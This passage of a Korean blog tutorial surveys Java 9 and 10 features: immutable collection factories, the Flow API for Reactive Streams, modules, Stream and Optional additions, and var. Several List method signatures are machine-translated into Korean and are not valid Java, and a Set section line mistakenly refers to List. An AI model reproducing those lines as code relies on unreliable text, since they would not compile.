static <E> List<E> of(E e1, E e2)
  
...

static <E> List<E> of(E e1, E e2, E e3, E e4, E e5, E e6, E e7, E e8, E e9, E e10)

static <E> List<E> of(E... elements)
아래의 메소드를 사용하면 UnsupportedOperationException가 발생합니다.
boolean  add ( E  e );
boolean  addAll ( Collection <?  extends  E >  c );
부울  addAll ( int  index , Collection <?  extends  E >  c );
void     clear ();
부울  remove ( Object  o );
부울  removeAll ( Collection <?>  c );
부울  removeIf ( 술어 <?  super  E >  필터 );
void     replaceAll ( UnaryOperator < E >  연산자 );
boolean  retainAll ( Collection <?>  c );
void     sort ( Comparator <?  super  E >  c );
내용을 불변하는것 외에도 null 값의 유효성도 체크합니다. 아래의 코드는 NullPointerException이 발생합니다.
List<String> band = List.of("Bruce","Steve","Adrian", "Dave", "Janick", null);
아래는 불변 List를 만드는 예제입니다.
List<String> band = List.of("Bruce","Steve","Adrian", "Dave", "Janick","Nicko");


Set

ist 인터페이스와 비슷하게 구현되며. 추상 기본 클래스 AbstractImmutableSet<E> 와 네 가지 구현이 있습니다.
  • Set0<E>
  • Set1<E>
  • Set2<E>
  • SetN<E>
`java.util.List 인터페이스에는 위의 구현을 사용하여 불변의 객체를 생성하는 12가지 정적 팩토리 메소드가 있습니다.
내용을 불변하는것 외에도 null 값의 유효성도 체크합니다. 아래의 코드는 NullPointerException이 발생합니다.
Set<String> band = Set.of("Bruce","Steve","Adrian", "Dave", "Janick", null);
List와 다른 점은 중복된 값을 넣으려고 하면 IllegalArgumentException이 발생합니다.
Set<String> guitarists = Set.of("Adrian", "Dave", "Janick", "Janick");
아래는 불변 Set을 만드는 예제입니다.
Set<String> band = Set.of("Bruce","Steve","Adrian", "Dave", "Janick","Nicko");

Map

불변의 객체를 java.util.Map 인터페이스의 static 팩토리 메소드를 사용하여 만들 수 있습니다. .
static <K, V> Entry<K, V> entry(K k, V v)
불변의 Map에는 AbstractImmutableMap<K, V> 3 개의 구현을 가지는 추상 기본 클래스가 있습니다 .
  • Map0<K, V>
  • Map1<K, V>
  • MapN<K, V>
java.util.Map 인터페이스 내부에는 다음과 같은 팩토리 메소드가 있습니다.
static <K, V> Map<K, V> of()

static <K, V> Map<K, V> of(K k1, V v1)

static <K, V> Map<K, V> of(K k1, V v1, K k2, V v2)
...

static <K, V> Map<K, V> of(K k1, V v1, K k2, V v2, K k3, V v3, K k4, V v4,
                           K k5, V v5, K k6, V v6, K k7, V v7, K k8, V v8, 
                           K k9, V v9, K k10, V v10)

static <K, V> Map<K, V> ofEntries(Entry<? extends K, ? extends V>... entries)
ListSet과는 다르게 최대 10개의 요소를 포함하는 불변 객체를 만들 수 있습니다.
아래의 메소드를 사용하면 UnsupportedOperationException가 발생합니다.
void clear()
V compute(K key, BiFunction<? super K,? super V,? extends V> rf)
V computeIfAbsent(K key, Function<? super K,? extends V> mf)
V computeIfPresent(K key, BiFunction<? super K,? super V,? extends V> rf)
V merge(K key, V value, BiFunction<? super V,? super V,? extends V> rf)
V put(K key, V value)
void putAll(Map<? extends K,? extends V> m)
V putIfAbsent(K key, V value)
V remove(Object key)
boolean remove(Object key, Object value)
V replace(K key, V value)
boolean replace(K key, V oldValue, V newValue)
void replaceAll(BiFunction<? super K,? super V,? extends V> f)

불변의 Map을 만드는 것과 상관 없이 Key,Value또는 전체 요소가 null인 경우에는 인스턴스화 할 수 없습니다. 아래의 예제들은 NullPointer를 던지는 코드입니다.
Map<String, Long> age = Map.of(null, 59L, "Steve", 61L);
Map<String, Long> age = Map.of("Bruce", null, "Steve", 61L);
Map<String, Long> age = Map.ofEntries(Map.entry("Bruce", 59L), null);

중복값을 가지는 Map을 생성하면 IllegalArgumentException가 발생합니다.
Map<String, Long> age = Map.of("Bruce", 59L, "Bruce", 59L);
Map<String, Long> age = Map.ofEntries(Map.entry("Bruce", 59L),
                                      Map.entry("Bruce", 59L));

아래는 불변 Map을 만드는 예제입니다.
Map<String, Long> age = Map.of("Bruce", 59L, "Steve", 61L, "Dave", 60L,
                               "Adrian", 60L, "Janick", 60L, "Nicko", 65L);
Map<String, Long> age = Map.ofEntries(Map.entry("Bruce", 59L),
                                      Map.entry("Steve", 61L),
                                      Map.entry("Dave", 60L),
                                      Map.entry("Adrian", 60L),
                                      Map.entry("Janick", 60L),
                                      Map.entry("Nicko", 65L));

결론

편리하게 불변의 객체를 만들 수 있고 Null과 중복 삽입을 사전에 방지할 수 있는 유용한 기능입니다.

Reactive Streams

Java 9 에서 Reactive Streams API가 추가되었습니다.
  • Reactive Streams 추가
    • publish-subscribe 프레임 워크를 지원하는 인터페이스
  • reactive stream API
    • java.util.concurrent.Flow
    • java.util.concurrent.Flow.Publisher
    • java.util.concurrent.Flow.Subscription
    • java.util.concurrent.Flow.Subscriber
    • java.util.concurrent.Flow.Processor
리액티브 프로그래밍이란 무엇일까요? 많은 응용 프로그램에서 데이터는 거의 실시간으로 처리됩니다. 대부분의 경우 데이터가 있을 때를 미리 알 수 없습니다. 이러한 비동기식 데이터 처리를 용이하게하기 위해 능률적인 방법을 사용해야합니다.
Flow API (및 Reactive Streams API)는 Iterator 및 Observer 패턴의 아이디어를 조합 한 것으로 볼 수 있습니다.
자세한 내용은 여기서 확인할 수 있습니다.

Reactive Streams 인터페이스의 표준 Java 소스는 java.util.concurrent.Flow 클래스에 있으며 Flow클래스 내에 정적 인터페이스로 제공됩니다 . JavaDoc이 제거되면 Flow클래스는 다음과 같이 정의됩니다. Observer패턴에서 문제가 있다는 부분이 onError와 onComplete로 해결됩니다.에러가 난다면 onError, 다 끝났다면 onComplete가 호출됩니다. 리 액티브 스트림은 (1) 게시자, (2) 구독자, (3) 구독 및 (4) 프로세서의 네 가지 기본 엔터티로 구성됩니다.

게시자(Publishers), 구독자(Subscriber)


게시자, 구독자 및 구독(Publishers, Subscribers, and Subscriptions) 의 구조에 대해 알아보겠습니다. Reactive Programming 모델에는 게시자와 구독자가 있습니다. 게시자는 구독자가 비동기 적으로 구독하는 데이터 스트림을 게시합니다. 게시자와 구독자 간의 양방향 연결을 구독이라고합니다. 구독자가 게시자를 구독하면 게시자는 구독을 구독자에게 알리고 구독자가 구독에 대한 참조를 저장할 수있게합니다. 이 통지 프로세스가 완료되면 구독자는 게시자에게 항목을 받을 준비가 되었음을 알릴 수 있습니다


그중에서 게시자와 구독자에 대한 예제를 통해 간단히 살펴보겠습니다. onSubscribe는 최초 1번만 호출되는 메소드onNext는 기존 Observer에서 update와 같은 역활 Java 버전에는 게시자 구현이 포함되어 SubmissionPublisher있습니다. 이 SubmissionPublisher클래스는 submit(T item)메서드를 사용하여 구독자에게 푸시 할 항목을 허용하는 단순한 게시자 역할을합니다 . 항목이 submit 메서드에 제출 되면 다음과 같이 구독자에게 비동기 적으로 푸시됩니다. 구독이 설정되면 값 0을 9게시자에게 제출 하고 구독자에게 값을 비동기 적으로 푸시합니다. 그런 다음 구독자는 값을 표준 출력하고 각 항목을 처리하고 다른 값을 받아 들일 준비가되었음을 구독에 알립니다. 그런 다음 비동기 전송이 완료 될 수 있도록 1 초 동안 주 스레드를 일시 중지합니다. 이 submit 메서드는 제출 된 항목을 구독자에게 푸시합니다. 아래 그림과 같이 출력되는것을 확인할 수 있습니다.

프로세서(Processor)


엔터티가 게시자와 구독자 인 경우 이를 프로세서 라고합니다 . 프로세서는 일반적으로 다른 게시자와 구독자 (둘 중 하나가 다른 프로세서 일 수 있음) 간의 중개자 역할을하여 데이터 스트림에서 일부 변형을 수행합니다. 예를 들어 구독자로 전달하기 전에 일부 조건과 일치하는 항목을 필터링하는 프로세서를 만들 수 있습니다. 프로세서의 시각적 표현은 그림과 같습니다.

 

프로세서를 추가하는 예제입니다.프로세서는 구독자로 전달하기 전에 항목을 필터링할 수 있다고 말씀 드렸습니다.소스를 보시면 onNext메소드에서 넘겨온 item필드에 대해 10씩 증가하였습니다. 프로세서를 추가하는 방법은 프로세서 객체를 생성 후 구독자를 추가합니다.

10씩 증가되서 출력된 부분을 확인하실 수 있으며 프로세서가 먼저 종료 된것을 확인 할 수 있습니다.

Project Jigsaw


Java9에서 크게 달라진점 중 하나인 모듈 시스템으로 자신만의 모듈을 만들수 있습니다
Java 플랫폼의 모듈화와 일반 모듈 시스템의 도입 인 Project Jigsaw는 Java 9에 포함되었습니다. java9에서 적용된 모듈에 대해 알아보겠습니다.모듈화는 구성 요소 간의 느슨한 커플 링 구성 요소 간의 종속성을 명확히하고강력한 캡슐화를 사용한 숨겨진 구현을 하는 것을달성하는 데 도움이되는 설계 원칙입니다.

 

Java Home 폴더에 bin, jre, lib 등의 디렉토리를 볼 수 있습니다. JDK 9에는 JRE가 포함되어 있지 않습니다. JDK 9에서는 JRE가 별도의 배포 폴더로 분리됩니다. JDK 9 소프트웨어에는 "jmods"라는 새 폴더가 있습니다. Java 9 모듈 집합을 포함합니다. JDK 9에서는 rt.jar이없고 Tools.jar이 없습니다.

Module System이 필요한 이유

왜 모듈성이 필요한가?
  • 작은 장치가 불필요하게 전체 JDK를 실행하지 않도록합니다.
  • 작은 컴퓨터 디바이스에서 경량화하여 효과적으로 사용해야합니다.
  • 캡슐화시 결함을 제거합니다. Java 9에서는 기본적으로 모든 패키지는 모듈 비공개이기 때문에 public 선언으로 module-info.java로 반출되지 않으면 더 이상 볼 수 없습니다. 의존성 (컴파일 시간과 런타임 모두)을 검사합니다. 리플렉션을 사용해도 런타임 때 액세스 할 수 없습니다.
모듈화는 언어 레벨에서 모듈간의 의존성을 알 수 있으니 애플리케이션이 사용하는 모듈만 모아서 런타임 환경(이미지)를 만들 수 있습니다.필요한 모듈만으로 경량화된 이미지를 만들기 위함입니다

Module화 된 JDK


모듈화 된 JDK를 구조를 살펴보겠습니다.그래프 하단에 java.base가 있습니다. 생성하는 모든 모듈 은 java.lang.Object 의 암시적인 확장과 유사하게 선언 여부에 관계없이 java.base를 읽습니다 JDK의 모듈화는 사용하려는 Java Runtime의 모듈을 지정할 수 있음을 의미합니다.


Private Interface Method

 
JAVA8 에서는 특정 기능을 처리하는 내부method 일뿐인데도 외부에 공개되는 public method 로 만들어야 하는 단점을 가지고 있었습니다그러한 요구 사항과 interface를 구현하는 다른 interface 또는 class가 해당 method에 액세스하거나 상속 할수 있는것을 원하지 않는 요구사항이 있다.Java9 Private Interface Method 에서는 interface 에 private method / private static method라는 새로운 기능을 제공하여 문제를 해결한다. 이제 중복 코드를 피하고 interface에 대한 캡슐화를 유지 할 수 있다.

try-with-resource 향상

 JAVA 7 
JAVA 9  

기존의 java7 부터 제공된 try-with-resource 구문이 불편함이 많았습니다.Try-With-Resources 외부에서 선언 된 리소스를 사용할 수 없습니다.(JAVA7,8)final or effectively final이 적용되어 참조 변수를 구문에 바로 사용할 수 있게 되었습니다.

Improve Diamond Operator

 JAVA 7 

JAVA 9  
Java7 에는 코드를 보다 읽기 쉽게 만드는데 도움되는 "<>"(다이아몬드 연산자) Diamond Operator 라는 새로운 기능이 있었지만 익명 클래스(Anonymous Inner Class)에는 제한적이었다. 이제는 익명 클래스에서 Diamond Operator 를 사용할수 있습니다.

Stream Improvements

Java 8에는 개발자가 일련의 객체에서 집계 연산을 수행하는 데 도움이되는 Streams가 도입되었습니다. Java 9 에서는 4가지 새로운 추가 메소드를 사용하여 Stream 에서 반복에 대한 제어를 못함에 어려운 부분이 많았던 부분을 해소했습니다. 기본적으로 predicate functional interface를 변수로 제공하고 있습니다.

takewhile


takewhile은 false를 리턴 할 때까지 모든 값을 취합니다.출력된것을 보시면 빈값이 있기 전인 abc가 출력된것을 확인할 수 있습니다.

dropwhile


dropWhile 메소드는 true를 리턴 할 때까지 시작시 모든 값을 버립니다. 지정된 조건과 일치하는 요소를 삭제 한 후에 이 스트림의 나머지 요소로 구성된 스트림을 리턴합니다.

iterate


iterate매개 변수로 hasNext 조건자를 갖습니다. iterate 메소드는 이제 hasNext 조건자에서 false를 반환하면 루프를 중지시킵니다. 2부터 10보다 작은 수 까지 2씩 증가 시키는 예제를 만들었습니다. 2,4,6,8이 출력된것을 확인할 수 있습니다.

ofNullable


NullPointerException을 방지하고 스트림에 대한 null 검사를 방지하기 위해 ofNullable 메서드가 도입되었습니다. 이 메소드는 단일 요소가 포함 된 순차적 스트림을 리턴하고, 그렇지 않으면 null이 아닌 경우 빈 스트림을 리턴합니다. 출력을 보면 값이 존재 할때는 1이 없을때는 0이 출력된것을 보실수 있습니다.

Optional class Stream Implementation

때때로 우리는 Optional이 비어 있을 때 Optional을 반환하는 다른 액션을 실행하기를 원합니다 . Java9에서는 Optional 클래스에 대해 세 가지 유용한 메소드를 추가하였습니다.

of()


of() 메소드는 orElseGet()나 orElse()와 달리 Optional 객체를 리턴하고 싶을 때 사용합니다.

ifPresentOrElse()


기존의 ifPresent() 메서드는 Optional 객체가 값을 담고 있을 때 처리할 때 사용했습니다. ifPresentOrElse() 메서드는 Optional 객체가 비어있을 경우 처리할 내용까지 정의할 수 있습니다.

stream()


Stream() 메소드는 Optional 객체를 Stream 객체로 변환하기 위해서 사용합니다.비어있는 Optonal 객체는 제외하고 이름들을 List 객체로 변환하는 코드입니다.

Local-Variable Type Inference(JDK10)

자바 9까지는 로컬 변수의 타입을 명시 적으로 언급하고 그것을 초기화하는 데 사용 된 이니셜 라이저와 호환되는지 확인해야했습니다.
.

자바10에서는로컬변수를 선언할때 타입추론을 이용하여 명시적으로 타입선언 없이도 변수를 선언할수 있게 되었습니다. 이 기능은 코드를 줄이는 데 도움이 될거같습니다.

컴파일 오류


변수의 타입은 컴파일시에 추론되며 나중에 변경할 수 없습니다. 멤버 변수, 메서드 매개 변수 형식 등에는 사용할 수 없습니다. 앞에서 언급했듯이, var 는 이니셜 라이저 없이null로 초기화하면 에러가 발생합니자람다 식은 명시 적 대상 유형을 필요로하므로 var을 사용할 수 없습니다. 배열 이니셜 라이저도 마찬가지입니다.
이 기능은 이니셜 라이저가있는 로컬 변수에서만 사용할 수 있습니다.

잘 사용 하기

var를 합법적으로 사용될 수있는 상황이 있지만 그렇게 하는 것이 좋지 않을 수 있는 경우가 있습니다 예를 들어, 코드가 읽기 어렵게 될 수있는 상황이 있습니다.


여기서는 var를 합법적으로 사용하더라도 코드를 읽을 수 없게 만드는 메소드 호출에 의해 반환되는 유형을 이해하기 어렵게 됩니다.


Java 7에서 소개 된 다이아몬드 연산자와 함께 사용하면 Object로 타입으로 반환됩니다. 원하는 타입의 유형으로 선언하는것이 좋습니다.

참고자료

Share: